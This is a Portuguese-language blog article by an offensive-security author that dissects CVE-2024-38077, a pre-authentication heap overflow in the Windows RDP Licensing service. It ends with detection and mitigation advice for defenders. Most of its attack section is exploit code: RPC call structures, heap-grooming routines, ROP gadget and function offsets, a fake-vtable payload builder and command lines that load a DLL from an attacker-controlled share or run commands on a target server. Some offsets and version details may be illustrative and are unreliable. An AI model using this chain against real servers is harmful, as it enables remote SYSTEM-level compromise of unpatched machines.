🎯 CVE-2024-38077 MadLicense: Heap Overflow no Windows RDP Licensing

Análise técnica completa de uma das vulnerabilidades mais críticas de 2024 — RCE pré-autenticação como SYSTEM em Windows Server 2000-2025

TL;DR

O CVE-2024-38077 é uma vulnerabilidade crítica de heap buffer overflow no Windows Remote Desktop Licensing Service (lserver.exe). Ela permite execução remota de código sem autenticação como NT AUTHORITY\SYSTEM. Afeta Windows Server 2000 até 2025. Este artigo explica a vulnerabilidade, a cadeia de exploração completa e as técnicas modernas para bypass de DEP, ASLR e CFG.

Aviso Legal

Este artigo é exclusivamente educacional e baseado em pesquisa de segurança autorizada. O framework discutido aqui é destinado a testes em laboratório, desenvolvimento de defesas e treinamento de equipes de segurança. Não utilize para atividades não autorizadas.

Por Que Estudar Este Exploit?

Você pode se perguntar: "Por que devo me aprofundar em um CVE específico?" A resposta é que o CVE-2024-38077 é um caso de estudo perfeito por vários motivos:

O QUE TORNA ESTE CVE ESPECIAL
Didático — Combina várias técnicas em uma única cadeia
Impacto Real — Milhares de servidores expostos na internet
Moderno — Mostra bypasses de DEP, ASLR, CFG atuais
Defensivo — Entender o ataque ajuda a criar defesas

Ao final deste artigo, você terá compreensão profunda de como exploits modernos funcionam — conhecimento valioso tanto para Red Team (atacantes) quanto para Blue Team (defensores).

Pré-requisitos de Conhecimento

Este artigo é de nível avançado. Para aproveitá-lo ao máximo, você deve estar familiarizado com:

Conhecimento Nível Por Que Precisa
Linguagem C 🟡 Intermediário Entender código vulnerável e estruturas
Python 🟢 Básico Ler código do framework de exploit
Assembly x64 🟡 Intermediário Compreender ROP chains e gadgets
Windows Internals 🟢 Básico Heap, processos, DLLs
Redes e RPC 🟢 Básico Como cliente se comunica com servidor

Não se preocupe! Mesmo sem dominar todos os pré-requisitos, o artigo explica cada conceito. Use como oportunidade de aprendizado — pesquise termos desconhecidos conforme avança.

Fundamentos: O Que É Buffer Overflow?

Conceito Básico

Um Buffer Overflow (estouro de buffer) ocorre quando um programa escreve dados além do limite de uma área de memória alocada. É uma das vulnerabilidades mais antigas e ainda mais exploradas em software de baixo nível.

BUFFER OVERFLOW - VISUALIZAÇÃO

SITUAÇÃO NORMAL:                    BUFFER OVERFLOW:
┌─────────────────┐                 ┌─────────────────┐
│    Buffer       │                 │    Buffer       │
│  (64 bytes)     │ ← Escrita OK    │  (64 bytes)     │ ← Escrita de 80 bytes
│  [AAAAAAAAAA]   │                 │  [AAAAAAAAAA]   │
├─────────────────┤                 ├─────────────────┤
│  Dados Válidos  │                 │  DADOS          │ ← Sobrescrito!
│  (próximo obj)  │                 │  CORROMPIDOS    │
└─────────────────┘                 └─────────────────┘

Por Que Acontece?

Linguagens como C e C++ não verificam limites de arrays automaticamente. O programador é responsável por garantir que os dados caibam no buffer:

// CÓDIGO VULNERÁVEL - Não verifica tamanho!
void vulnerable_function(char* user_input) {
    char buffer[64];  // Buffer de 64 bytes
    
    // strcpy NÃO verifica se user_input cabe em buffer!
    strcpy(buffer, user_input);  // ← VULNERÁVEL!
    
    // Se user_input tem 100 bytes, 36 bytes extras
    // sobrescrevem memória adjacente!
}

// CÓDIGO SEGURO - Verifica tamanho
void safe_function(char* user_input) {
    char buffer[64];
    
    // strncpy limita a cópia ao tamanho do buffer
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';  // Garante null terminator
}

Tipos de Buffer Overflow

Tipo Onde Ocorre O Que Pode Sobrescrever CVE-2024-38077
Stack Overflow Pilha (variáveis locais) Return address, saved registers, outras variáveis
Heap Overflow Heap (memória dinâmica) Objetos adjacentes, vtables, ponteiros de função É ESTE!
BSS Overflow Variáveis globais não inicializadas Outras variáveis globais
Integer Overflow Cálculos aritméticos Pode causar buffer overflow secundário Root cause!

Anatomia da Memória de um Processo

Para entender exploração, precisamos conhecer o layout de memória:

LAYOUT DE MEMÓRIA DE UM PROCESSO (x64)

Endereço Alto
┌──────────────────────────────────────┐ 0x7FFFFFFFFFFF
│              STACK                   │ ← Cresce para baixo ↓
│  (variáveis locais, return addrs)    │
│  ════════════════════════════════    │
│                 ↓                    │
│           [ Espaço Livre ]           │
│                 ↑                    │
│  ════════════════════════════════    │
│              HEAP                    │ ← Cresce para cima ↑
│  (malloc, new, HeapAlloc)            │   CVE-2024-38077 AQUI!
├──────────────────────────────────────┤
│              BSS                     │ ← Variáveis globais não inicializadas
├──────────────────────────────────────┤
│              DATA                    │ ← Variáveis globais inicializadas
├──────────────────────────────────────┤
│              TEXT                    │ ← Código executável
└──────────────────────────────────────┘ 0x000000000000
Endereço Baixo

Por Que Buffer Overflow É Perigoso?

Sobrescrever memória adjacente permite ao atacante:

  • Controlar o fluxo de execução — Sobrescrever return address ou ponteiros de função
  • Executar código arbitrário — Injetar e executar shellcode
  • Escalar privilégios — Ganhar acesso SYSTEM/root
  • Bypass de autenticação — Sobrescrever flags de verificação
  • Vazamento de informações — Ler memória além do buffer

No caso do CVE-2024-38077: O heap overflow permite sobrescrever um objeto adjacente que contém um vtable pointer. Ao corromper esse ponteiro, o atacante controla para onde o programa pula quando chama um método virtual → Remote Code Execution como SYSTEM.

O Caso Específico: Integer Overflow → Heap Overflow

O CVE-2024-38077 é interessante porque combina dois tipos de vulnerabilidade:

// 1. INTEGER OVERFLOW (truncation)
DWORD allocSize = (inputSize / 4) * 3;  // Divisão inteira trunca!

// Exemplo: inputSize = 4003
// Cálculo: (4003 / 4) * 3 = 1000 * 3 = 3000 (errado!)
// Correto: ceil(4003 * 3 / 4) = 3003

// 2. HEAP OVERFLOW (consequência)
BYTE* buffer = HeapAlloc(heap, 0, allocSize);  // Aloca 3000
Base64Decode(input, inputSize, buffer);         // Escreve 3003!
                                                 // → 3 bytes overflow!

"Um único byte de overflow pode ser suficiente para comprometer todo um sistema. No caso do CVE-2024-38077, controlamos até 3 bytes — mais que suficiente para corromper ponteiros críticos."

Agora que você entende o que é Buffer Overflow, vamos ver como isso se manifesta no mundo real. O CVE-2024-38077 é um exemplo perfeito de Integer Overflow → Heap Overflow. Nas próximas seções, vamos dissecar cada detalhe da vulnerabilidade.

Análise Técnica: CVE-2024-38077

O Serviço Vulnerável

O Windows Remote Desktop Licensing Service (lserver.exe) gerencia licenças CAL (Client Access License) para conexões RDP. Ele expõe uma interface RPC via MS-RPC no UUID 3d267954-eeb7-11d1-b94e-00c04fa3080d.

# UUID do serviço Terminal Services Licensing
TSLSP_UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))

# Named pipes disponíveis para conexão
PIPES = [
    r"\pipe\TermServLicensing",  # Windows Server 2008+
    r"\pipe\HydraLsPipe"         # Windows Server 2003
]

A Função Vulnerável: CDataCoding::DecodeData

O bug está na função que decodifica dados Base64 recebidos via RPC. Análise do código pseudo-C descompilado:

// CÓDIGO VULNERÁVEL (simplificado do disassembly)
HRESULT CDataCoding::DecodeData(BYTE* pbEncodedData, DWORD cbEncodedSize, 
                                 BYTE** ppbDecodedData, DWORD* pcbDecodedSize)
{
    // BUG: Cálculo usa divisão inteira TRUNCADA
    DWORD allocSize = (cbEncodedSize / 4) * 3;  // ← PROBLEMA AQUI!
    
    // Aloca buffer baseado no cálculo incorreto
    BYTE* pBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), 0, allocSize);
    
    // Decodifica Base64 - escreve ceil(cbEncodedSize * 3/4) bytes
    // Se cbEncodedSize % 4 != 0, escreve MAIS que allocSize!
    DWORD actualWritten = Base64Decode(pbEncodedData, cbEncodedSize, pBuffer);
    
    // OVERFLOW: actualWritten > allocSize quando input % 4 != 0
    *ppbDecodedData = pBuffer;
    *pcbDecodedSize = actualWritten;
    return S_OK;
}

Matemática do Bug

O problema é a diferença entre divisão inteira truncada e o cálculo real do Base64:

Input (N) Alocado: (N/4)*3 Escrito: ceil(N*3/4) Overflow
4000 3000 3000 0 bytes ✓
4001 3000 3001 1 byte
4002 3000 3002 2 bytes
4003 3000 3003 3 bytes
0x4001 0x3000 0x3001 1 byte
0x2FC3 0x23D2 0x23D5 3 bytes (max controlável)

Estruturas RPC/NDR do Exploit

O framework usa Impacket para construir chamadas RPC válidas:

# Estruturas NDR para comunicação RPC
class CONTEXT_HANDLE(NDRSTRUCT):
    """Handle de contexto RPC - 20 bytes"""
    structure = (("Data", "20s=b''"),)
    def getAlignment(self): return 4

class BYTE_ARRAY(NDRUniConformantArray):
    """Array de bytes conformante - tamanho variável"""
    item = 'B'

# Chamada RPC vulnerável: TLSRpcTelephoneRegisterLKP (opnum 49)
class TLSRpcTelephoneRegisterLKP(NDRCALL):
    opnum = 49  # ← Opcode da função vulnerável
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),  # Handle da sessão
        ("cbData", DWORD),               # Tamanho do payload
        ("pbData", BYTE_ARRAY),          # Dados Base64 (OVERFLOW AQUI!)
    )

Por Que É Crítico?

IMPACTO DA VULNERABILIDADE
Pre-Auth — Opnum 49 não requer autenticação prévia
Remote — Via RPC (ncacn_np) porta 135/445
SYSTEM — lserver.exe roda como NT AUTHORITY\SYSTEM
Superfície — Windows Server 2000, 2003, 2008, 2012, 2016, 2019, 2022, 2025
CVSS 9.8 — Classificação crítica pelo NVD
Heap Overflow — Controle total sobre dados adjacentes

Fluxo de Conexão RPC

ATACANTE                                    SERVIDOR (lserver.exe)
    │                                              │
    │─────── ncacn_np:target[\pipe\TermServ...] ──→│
    │                                              │
    │←────────────── RPC Bind OK ─────────────────│
    │                                              │
    │─────── TLSRpcConnect (opnum 1) ─────────────→│
    │                                              │
    │←────────── ctx_handle (20 bytes) ───────────│
    │                                              │
    │── TLSRpcTelephoneRegisterLKP (opnum 49) ────→│
    │   [ctx_handle + cbData + pbData(Base64)]     │
    │                                              │
    │                    ┌─────────────────────────┤
    │                    │ CDataCoding::DecodeData │
    │                    │ allocSize = (N/4)*3     │
    │                    │ HeapAlloc(allocSize)    │
    │                    │ Base64Decode → OVERFLOW!│
    │                    └─────────────────────────┤
    │                                              │
    │←─────────── RPC Response/Crash ─────────────│
    │                                              │

Arquitetura do Framework de Exploração

Explorar um heap buffer overflow em Windows moderno não é simplesmente "escrever demais". É uma cadeia precisa de múltiplos estágios que devem funcionar em conjunto.

┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘

Os 9 Módulos do Framework

# Módulo Função
1 primitives.py Utilitários de manipulação de memória (pack, unpack, cyclic)
2 leak.py Bypass de ASLR — obter endereços de memória
3 target_model.py Modelagem das estruturas vulneráveis
4 write_primitive.py Escrita de valores específicos em offsets específicos
5 heap_controller.py Heap grooming — layout determinístico
6 trigger.py Forçar uso da memória corrompida
7 execution.py Controle de fluxo — hijack de RIP
8 code_reuse.py ROP chains para bypass de DEP
9 mitigations.py Consciência e adaptação às defesas

Stage 1: Information Leak (ASLR Bypass)

O Problema: ASLR

Address Space Layout Randomization (ASLR) randomiza os endereços de memória a cada boot. Sem saber onde está a memória, qualquer tentativa de exploração resulta em crash.

Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

A Solução: Information Leak

Precisamos "vazar" endereços de memória para calcular onde estão os módulos do sistema.

class LeakInfo:
    """Container para endereços vazados"""
    heap_base: int         # Base do heap
    ntdll_base: int        # Base do ntdll.dll
    kernel32_base: int     # Base do kernel32.dll
    kernelbase_base: int   # Base do kernelbase.dll

class LeakProvider:
    """Orquestrador de fontes de leak"""
    sources: List[LeakSource]
    
    def obtain(self) -> LeakInfo:
        # Tenta cada fonte até conseguir
        for source in self.sources:
            leak = source.try_leak()
            if leak.is_valid():
                return leak

Em laboratório, você pode fornecer os endereços manualmente via --ntdll-base depois de anexar um debugger ao alvo. Isso simula ter um leak real.

🏠 Analogia: Imagine que ASLR é como se a vítima mudasse de endereço todo dia. O Information Leak é descobrir o endereço atual. Agora que sabemos onde a memória está, precisamos preparar o terreno — isso é o Heap Grooming.

Windows Heap Internals & Grooming

Arquitetura do Windows Heap

O Windows moderno usa um sistema de heap complexo. Entender sua estrutura é essencial para exploração confiável:

WINDOWS HEAP ARCHITECTURE
┌──────────────────────────────────────────────────────────┐
│                    PROCESS HEAP                          │
├──────────────────────────────────────────────────────────┤
│  ┌────────────────┐   ┌────────────────────────────────┐ │
│  │  FRONT-END     │   │  BACK-END                      │ │
│  │  (LFH/Segment) │   │  (Tradicional)                 │ │
│  ├────────────────┤   ├────────────────────────────────┤ │
│  │ Bucket[0]  ≤8  │   │ VirtualAlloc para >= 512KB    │ │
│  │ Bucket[1]  ≤16 │   │ Coalesce de blocos livres     │ │
│  │ Bucket[2]  ≤24 │   │ Splitting de blocos grandes   │ │
│  │ ...            │   │                                │ │
│  │ Bucket[127]    │   │ Menos previsível               │ │
│  └────────────────┘   └────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘

Low Fragmentation Heap (LFH)

O LFH é ativado automaticamente após ~17 alocações consecutivas do mesmo tamanho. Isso é crucial para nosso exploit:

# Tamanho máximo seguro para RPC (descoberto via testes)
MAX_RPC_SIZE = 0x2FC0

# Cálculo do bucket LFH alvo
def get_lfh_bucket(size):
    """Windows LFH usa buckets de 8 bytes de granularidade"""
    if size <= 0x200:  # Até 512 bytes
        return (size + 7) // 8
    elif size <= 0x1000:  # Até 4KB
        return ((size - 0x200) // 0x10) + 0x40
    else:
        return -1  # Back-end heap

# Para nosso overflow de ~0x23D2 bytes:
# Bucket = back-end (muito grande para LFH)
# Precisamos de grooming mais agressivo

Estrutura _HEAP_ENTRY

Cada bloco alocado no heap tem um header de 16 bytes (x64):

// Estrutura do header de cada chunk (Windows 10+)
typedef struct _HEAP_ENTRY {
    union {
        struct {
            ULONG64 Size        : 16;  // Tamanho em unidades
            ULONG64 Flags       : 4;   // FREE, BUSY, etc.
            ULONG64 SmallTagIdx : 4;   // Para debug
            ULONG64 PrevSize    : 16;  // Chunk anterior
            ULONG64 SegOffset   : 8;   // Offset no segmento
            ULONG64 UnusedBytes : 8;   // Padding
            ULONG64 ExtFlags    : 8;   // Flags estendidas
        };
        ULONG64 Encoded;  // XOR com _HEAP.Encoding para obfuscar
    };
} HEAP_ENTRY, *PHEAP_ENTRY;

// IMPORTANTE: Headers são ENCODED com XOR!
// Precisamos conhecer _HEAP.Encoding para manipular

Windows 10+ usa Heap Encoding - cada header é XOR com um valor aleatório. Corromper headers sem conhecer o encoding causa crash imediato!

Estratégia de Grooming

Fase Objetivo Técnica
1. Fill Preencher buracos existentes 50+ alocações do tamanho alvo
2. Activate LFH Forçar uso do LFH (se aplicável) 17+ alocações consecutivas
3. Spray Criar layout denso e previsível 200+ alocações com objetos controlados
4. Create Holes Criar "buracos" estratégicos Liberar a cada 4ª alocação
5. Stabilize Evitar coalescing Alocações de "guarda"

Implementação do Heap Controller

class HeapLayoutController:
    """Controlador de layout de heap para exploração"""
    
    def __init__(self, alloc_func, free_func):
        self.alloc = alloc_func   # Função que aloca via RPC
        self.free = free_func    # Função que libera via RPC
        self.allocations = []
        self.holes = []
        
    def execute_full_groom(self) -> Tuple[bool, str]:
        # Fase 1: Preencher fragmentação existente
        self._phase_defrag(count=50)
        
        # Fase 2: Ativar LFH (17+ alocações do mesmo size)
        self._phase_activate_lfh()
        
        # Fase 3: Spray denso com objetos conhecidos
        spray_pattern = b"AAAA" * (self.target_size // 4)
        for i in range(200):
            alloc_id = self.alloc(self.target_size, spray_pattern)
            self.allocations.append(alloc_id)
        
        # Fase 4: Criar holes estratégicos
        # Liberar a cada 4ª alocação para criar padrão
        for i in range(3, len(self.allocations), 4):
            self.free(self.allocations[i])
            self.holes.append(i)
        
        # Fase 5: Alocações de guarda para prevenir coalescing
        for offset in self.holes:
            guard = self.alloc(16, b"GUARD")  # Pequeno, diferente tamanho
            
        return True, f"Groomed: {len(self.allocations)} allocs, {len(self.holes)} holes"

Layout Resultante

HEAP APÓS GROOMING (visual simplificado):
┌─────────┬─────────┬─────────┬─────────┬─────────┐
│ SPRAY_0 │ SPRAY_1 │ SPRAY_2 │  HOLE   │ SPRAY_4 │
│ (AAAA)  │ (AAAA)  │ (AAAA)  │ (FREE)  │ (AAAA)  │
├─────────┴─────────┴─────────┴─────────┴─────────┤
│                                                 │
│   Quando servidor aloca buffer vulnerável:     │
│   Alta chance de cair no HOLE!                 │
│                                                 │
├─────────┬─────────┬─────────┬─────────┬─────────┤
│ SPRAY_0 │ SPRAY_1 │ SPRAY_2 │ VULN_BUF│ SPRAY_4 │
│ (AAAA)  │ (AAAA)  │ (AAAA)  │         │ (AAAA)  │
├─────────┴─────────┴─────────┴─────────┴─────────┤
│                                                 │
│   OVERFLOW sobrescreve início do SPRAY_4!      │
│   Se SPRAY_4 tem vtable → hijack!              │
│                                                 │
└─────────────────────────────────────────────────┘

📰 Analogia: Heap Grooming é como arrumar cartas de baralho para que a carta que você quer fique no topo. Agora que o heap está preparado e podemos corromper memória, precisamos responder: "O que escrevemos lá?" A resposta é uma ROP Chain — imagine recortar palavras de uma revista para formar uma mensagem. Usamos pedaços de código que já existem!

ROP Chains: Bypass de DEP e CFG

O Problema: DEP + CFG

Windows moderno implementa múltiplas proteções que impedem execução de shellcode tradicional:

Proteção O Que Faz Impacto
DEP Heap e Stack são NX (Non-Executable) Não podemos executar shellcode diretamente
CFG Control Flow Guard valida alvos de CALL indireto Não podemos chamar endereços arbitrários
CIG Code Integrity Guard (Windows 10+) Não podemos carregar DLLs não assinadas

A Solução: Return-Oriented Programming

ROP "reutiliza" código existente em DLLs legítimas. Procuramos "gadgets" - sequências de instruções terminadas em RET:

class CodeReuseEngine:
    """Motor de construção de ROP chains"""
    
    # Offsets de gadgets em ntdll.dll (Windows Server 2019)
    GADGETS_2019 = {
        "pop_rcx":         0x8F7E3,   # pop rcx; ret
        "pop_rdx":         0x8FC23,   # pop rdx; ret  
        "pop_r8":          0x4C123,   # pop r8; ret
        "pop_r9":          0x9D456,   # pop r9; ret
        "xchg_rax_rsp":    0x7A345,   # xchg rax, rsp; ret (stack pivot)
        "mov_rax_rcx":     0x3B789,   # mov rax, rcx; ret
        "jmp_rax":         0x2B012,   # jmp rax
    }
    
    # Offsets de funções em kernel32.dll
    KERNEL32_FUNCS = {
        "LoadLibraryA":    0x1F240,
        "GetProcAddress":  0x1F150,
        "VirtualAlloc":    0x1E8A0,
        "VirtualProtect":  0x1E920,
        "WinExec":         0x62C40,
    }
    
    def get_gadget_addr(self, name: str) -> int:
        """Calcula endereço absoluto do gadget"""
        offset = self.GADGETS_2019.get(name)
        if offset:
            return self.leak.ntdll_base + offset
        raise ValueError(f"Gadget não encontrado: {name}")

Estrutura da ROP Chain para LoadLibraryA

ROP CHAIN: LoadLibraryA("\\\\attacker\\share\\pay.dll")

STACK LAYOUT:                    EXECUÇÃO:
┌────────────────────────┐
│ pop_rcx gadget addr    │ ←── RSP aponta aqui
├────────────────────────┤       ↓
│ DLL_PATH_ADDR          │ ←── RCX = endereço da string
├────────────────────────┤       ↓ RET
│ LoadLibraryA addr      │ ←── Chama LoadLibraryA(RCX)
├────────────────────────┤       ↓
│ return_addr (cleanup)  │ ←── Após LoadLibrary retornar
├────────────────────────┤
│                        │
│ "\\attacker\share\x.dll" │ ←── String do path (null terminated)
│                        │
└────────────────────────┘

Bypass de CFG via Alvos Válidos

CFG mantém um bitmap de alvos válidos de CALL. Nossa estratégia:

def build_cfg_aware_chain(self) -> bytes:
    """Constrói ROP chain que bypassa CFG"""
    chain = b""
    
    # CFG valida apenas CALLs, não RETs!
    # Usamos apenas gadgets terminados em RET
    
    # 1. Stack Pivot - trocamos RSP para nossa área
    # Precisamos de um gadget que seja alvo válido de CFG
    # NtContinue é sempre válido (usado por Windows)
    
    # 2. Alternativa: usar JOP (Jump-Oriented Programming)
    # JOP usa gadgets terminados em JMP ao invés de RET
    
    # 3. Técnica: chamar função válida que eventualmente
    # retorna via nosso ROP chain
    
    # Sequência para VirtualAlloc (MEM_COMMIT | MEM_RESERVE | PAGE_EXECUTE_RW)
    chain += p64(self.pop_rcx)              # Gadget 1
    chain += p64(0)                         # lpAddress = NULL
    chain += p64(self.pop_rdx)              # Gadget 2
    chain += p64(0x1000)                    # dwSize = 4KB
    chain += p64(self.pop_r8)               # Gadget 3
    chain += p64(0x3000)                    # flAllocationType = MEM_COMMIT|RESERVE
    chain += p64(self.pop_r9)               # Gadget 4
    chain += p64(0x40)                      # flProtect = PAGE_EXECUTE_READWRITE
    chain += p64(self.VirtualAlloc)         # Chama VirtualAlloc
    
    # RAX agora contém endereço RWX!
    # Podemos copiar shellcode e pular para lá
    
    return chain

Stack Pivot: De Uma Call para ROP Completo

Vtable hijack nos dá uma única CALL. Para executar uma chain completa, precisamos "pivotear" o stack:

; Gadget de Stack Pivot
; Troca RSP (stack pointer) para nossa área controlada

xchg rax, rsp    ; RAX ↔ RSP
ret              ; Agora executa do nosso "stack"

; Se RAX = endereço do nosso ROP chain no heap
; RSP agora aponta para nosso ROP chain
; Cada RET executa próximo gadget!

Requisito: RAX deve conter endereço do ROP chain antes do pivot. Isso é feito através do layout do objeto corrompido ou usando gadgets auxiliares.

Payload Completo: DLL Injection

class ExecutionPayload:
    """Construtor de payload de execução"""
    
    def build_dll_injection(self, dll_path: str) -> bytes:
        """
        Layout do payload final:
        
        ┌──────────────────────────────┐ Offset 0x0
        │ Fake Vtable (8 bytes × N)    │ ← Aponta para stack pivot
        ├──────────────────────────────┤ Offset 0x40
        │ ROP Chain (LoadLibraryA)     │ ← Chain principal
        ├──────────────────────────────┤ Offset 0x200
        │ DLL Path String              │ ← "\\\\attacker\\share\\x.dll\0"
        ├──────────────────────────────┤ Offset 0x300
        │ Padding / Extra Data         │
        └──────────────────────────────┘
        """
        payload = bytearray()
        
        # Fake vtable - todas as entradas apontam para stack pivot
        fake_vtable = p64(self.stack_pivot_gadget) * 16
        payload.extend(fake_vtable)
        
        # ROP Chain
        rop_chain = self._build_loadlibrary_chain()
        payload.extend(rop_chain)
        
        # DLL Path (wide string para LoadLibraryW ou ASCII para A)
        dll_path_bytes = dll_path.encode('utf-8') + b'\x00'
        payload.extend(dll_path_bytes)
        
        # Padding para alignment
        while len(payload) % 8 != 0:
            payload.append(0x00)
        
        return bytes(payload)

Vtable Hijacking: Obtendo Execução

A técnica mais comum para obter execução a partir de heap overflow é o Vtable Hijacking.

Como Funciona

OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legítimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

APÓS CORRUPÇÃO:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← NOSSO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

Quando method1 é chamado → Executa nosso gadget!

Stack Pivot

O vtable hijack nos dá uma call. Para executar uma ROP chain completa, usamos Stack Pivot:

# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret  # RAX = nosso endereço → RSP = nosso endereço

# Agora o "stack" é nossa área controlada!
# Cada RET pula para próximo gadget do nosso ROP chain

Fluxo Completo de Exploração

Stage 1: LEAK (ASLR Bypass)

Obter endereços de memória via info leak ou input manual

Stage 2: ANALYZE (Target Mapping)

Calcular overflow, identificar objetos adjacentes, determinar offsets

Stage 3: GROOM (Heap Shaping)

Fill → Activate LFH → Spray → Create Holes

Stage 4: PAYLOAD (Build)

Construir ROP chain + strings/dados necessários

Stage 5: CORRUPT (Trigger Overflow)

Enviar chamada RPC maliciosa, causar overflow

Stage 6: TRIGGER (Force Use)

Disconnect ou segunda chamada para forçar uso do ponteiro corrompido

Stage 7: EXECUTE (RCE)

ROP chain executa → LoadLibraryA carrega DLL → CÓDIGO ARBITRÁRIO COMO SYSTEM!

Mitigações e Como São Contornadas

Mitigação O Que Faz Bypass
DEP Heap/Stack não-executável ROP (reuso de código)
ASLR Endereços randomizados Information Leak
CFG Valida alvos de calls Chamar alvos válidos, depois pivot
Stack Cookie Detecta stack overflow Não usamos stack overflow
Heap Hardening Guard pages, metadata protection Grooming cuidadoso

Versões Afetadas

O CVE-2024-38077 afeta todas as versões do Windows Server que possuem o Remote Desktop Licensing Service instalado:

Windows Server Afetado Patch Disponível KB
Windows Server 2008 R2 ✅ Sim Julho 2024 KB5040497
Windows Server 2012 / R2 ✅ Sim Julho 2024 KB5040498
Windows Server 2016 ✅ Sim Julho 2024 KB5040442
Windows Server 2019 ✅ Sim Julho 2024 KB5040430
Windows Server 2022 ✅ Sim Julho 2024 KB5040437
Windows Server 2025 ✅ Sim Julho 2024 KB5040431

Como Verificar Se Está Vulnerável

# Verificar se o serviço RDS Licensing está instalado
Get-Service -Name "TermServLicensing" -ErrorAction SilentlyContinue

# Verificar versão do lserver.exe
(Get-Item "C:\Windows\System32\lserver.exe").VersionInfo

# Verificar se patch foi aplicado
Get-HotFix | Where-Object { $_.HotFixID -match "KB504" }

Configurando Seu Lab de Testes

Para estudar este exploit de forma segura, você precisa de um ambiente isolado. Nunca teste em sistemas de produção!

⚠️ Importante: Use apenas em redes isoladas (NAT/Host-Only). Máquinas virtuais são ideais. Faça snapshots antes de testar.

Setup Recomendado

Componente Recomendação
VM Target Windows Server 2019 Evaluation (ISO oficial Microsoft)
VM Attacker Kali Linux ou qualquer distro com Python 3.9+
Rede Host-Only ou NAT isolado
Debugger WinDbg Preview (obter endereços para bypass ASLR)

Habilitando o RDS Licensing (Alvo)

# 1. Instalar a Role de Remote Desktop Services
Install-WindowsFeature -Name RDS-Licensing -IncludeManagementTools

# 2. Iniciar o serviço
Start-Service -Name "TermServLicensing"

# 3. Verificar se está escutando
netstat -an | findstr ":135"

Preparando o Atacante

# Instalar dependências
pip install impacket

# Clonar o framework (exemplo)
git clone https://github.com/exemplo/madlicense
cd madlicense

# Testar conectividade
python -m madlicense.poc -t 192.168.56.10 --check

Uso Prático do Framework

Instalação

pip install impacket

Comandos Disponíveis

# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check

# Modo crash (validar vulnerabilidade - DoS)
python -m madlicense.poc -t 10.0.0.5 --crash-only

# Dry run (simula tudo sem enviar payload)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

Para Defensores (Blue Team)

Detecção

  • Monitore conexões RPC na porta 135 para o serviço TermServLicensing
  • Detecte crashes ou reinícios anormais do lserver.exe
  • Analise payloads Base64 grandes em chamadas RPC
  • Implemente regras YARA para padrões conhecidos

Mitigação Imediata

# Desabilitar o serviço se não for necessário
Stop-Service -Name "TermServLicensing" -Force
Set-Service -Name "TermServLicensing" -StartupType Disabled

# Ou bloquear via firewall
New-NetFirewallRule -DisplayName "Block RDP Licensing RPC" `
    -Direction Inbound -Protocol TCP -LocalPort 135 `
    -Action Block -Profile Any

Patches

A Microsoft lançou patches para CVE-2024-38077. Aplique as atualizações de segurança imediatamente.

Conclusão

O CVE-2024-38077 é um exemplo perfeito de como um bug simples (cálculo incorreto de tamanho) pode ter consequências catastróficas quando explorado corretamente.

Mensagem-Chave

"Explorar um heap buffer overflow em Windows moderno não é só 'escrever muito'. É uma cadeia precisa de leak → groom → corrupt → trigger → execute. Sem qualquer um desses estágios, não há RCE."

O Que Aprendemos:

  • ASLR bypass via information leak
  • Heap grooming para layout determinístico
  • Vtable hijacking para controle de execução

Próximos Passos:

  • Estudar Windows internals
  • Praticar em laboratório isolado
  • Desenvolver detecções comportamentais

Referências

Compartilhe:

Ermenson Marcos Rodrigues Junior

Segurança Ofensiva | Pentester | Red Team

Analista de Segurança Ofensiva com experiência em exploit development, análise de vulnerabilidades e pesquisa de segurança ofensiva. Focado em Windows internals e técnicas avançadas de exploração.